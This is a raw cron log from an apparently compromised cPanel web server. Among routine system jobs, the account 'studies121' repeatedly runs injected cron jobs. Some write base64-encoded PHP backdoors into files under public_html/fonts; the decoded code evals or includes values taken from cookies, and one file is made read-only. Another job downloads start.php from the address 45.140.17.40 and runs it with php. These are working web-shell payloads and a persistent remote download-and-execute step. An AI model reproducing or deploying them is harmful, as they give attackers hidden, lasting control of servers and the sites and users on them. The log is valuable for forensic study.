Sep  6 06:11:01 ip-184-168-122-23 CROND[25934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:12:01 ip-184-168-122-23 CROND[26039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:12:01 ip-184-168-122-23 CROND[26041]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 06:12:01 ip-184-168-122-23 CROND[26042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:12:01 ip-184-168-122-23 CROND[26045]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:12:01 ip-184-168-122-23 CROND[26044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:13:01 ip-184-168-122-23 CROND[26149]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:13:01 ip-184-168-122-23 CROND[26151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:13:01 ip-184-168-122-23 CROND[26152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:13:01 ip-184-168-122-23 CROND[26150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:14:01 ip-184-168-122-23 CROND[26253]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 06:14:01 ip-184-168-122-23 CROND[26255]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:14:01 ip-184-168-122-23 CROND[26258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:14:01 ip-184-168-122-23 CROND[26256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:14:01 ip-184-168-122-23 CROND[26257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:15:01 ip-184-168-122-23 CROND[26354]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:15:01 ip-184-168-122-23 CROND[26356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:15:01 ip-184-168-122-23 CROND[26363]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 06:15:01 ip-184-168-122-23 CROND[26358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:15:01 ip-184-168-122-23 CROND[26360]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 06:15:01 ip-184-168-122-23 CROND[26362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:15:01 ip-184-168-122-23 CROND[26359]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  6 06:15:01 ip-184-168-122-23 CROND[26364]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  6 06:16:01 ip-184-168-122-23 CROND[26558]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:16:01 ip-184-168-122-23 CROND[26560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:16:01 ip-184-168-122-23 CROND[26559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:16:01 ip-184-168-122-23 CROND[26563]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 06:16:01 ip-184-168-122-23 CROND[26565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:16:01 ip-184-168-122-23 CROND[26567]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 06:17:01 ip-184-168-122-23 CROND[26661]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:17:01 ip-184-168-122-23 CROND[26662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:17:01 ip-184-168-122-23 CROND[26663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:17:01 ip-184-168-122-23 CROND[26665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:18:01 ip-184-168-122-23 CROND[26754]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:18:01 ip-184-168-122-23 CROND[26756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:18:01 ip-184-168-122-23 CROND[26757]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 06:18:01 ip-184-168-122-23 CROND[26759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:18:01 ip-184-168-122-23 CROND[26758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:19:01 ip-184-168-122-23 CROND[26848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:19:01 ip-184-168-122-23 CROND[26849]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:19:01 ip-184-168-122-23 CROND[26854]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:19:01 ip-184-168-122-23 CROND[26852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:20:01 ip-184-168-122-23 CROND[26938]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 06:20:01 ip-184-168-122-23 CROND[26945]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 06:20:01 ip-184-168-122-23 CROND[26942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:20:01 ip-184-168-122-23 CROND[26944]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 06:20:01 ip-184-168-122-23 CROND[26943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:20:01 ip-184-168-122-23 CROND[26949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:20:01 ip-184-168-122-23 CROND[26954]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:20:01 ip-184-168-122-23 CROND[26953]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 06:20:01 ip-184-168-122-23 CROND[26955]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 06:21:02 ip-184-168-122-23 CROND[27133]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:21:02 ip-184-168-122-23 CROND[27135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:21:02 ip-184-168-122-23 CROND[27136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:21:02 ip-184-168-122-23 CROND[27137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:22:01 ip-184-168-122-23 CROND[27228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:22:01 ip-184-168-122-23 CROND[27229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:22:01 ip-184-168-122-23 CROND[27232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:22:01 ip-184-168-122-23 CROND[27231]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 06:22:01 ip-184-168-122-23 CROND[27234]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:23:01 ip-184-168-122-23 CROND[27322]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:23:01 ip-184-168-122-23 CROND[27324]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:23:01 ip-184-168-122-23 CROND[27325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:23:01 ip-184-168-122-23 CROND[27323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:24:01 ip-184-168-122-23 CROND[27428]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:24:01 ip-184-168-122-23 CROND[27432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
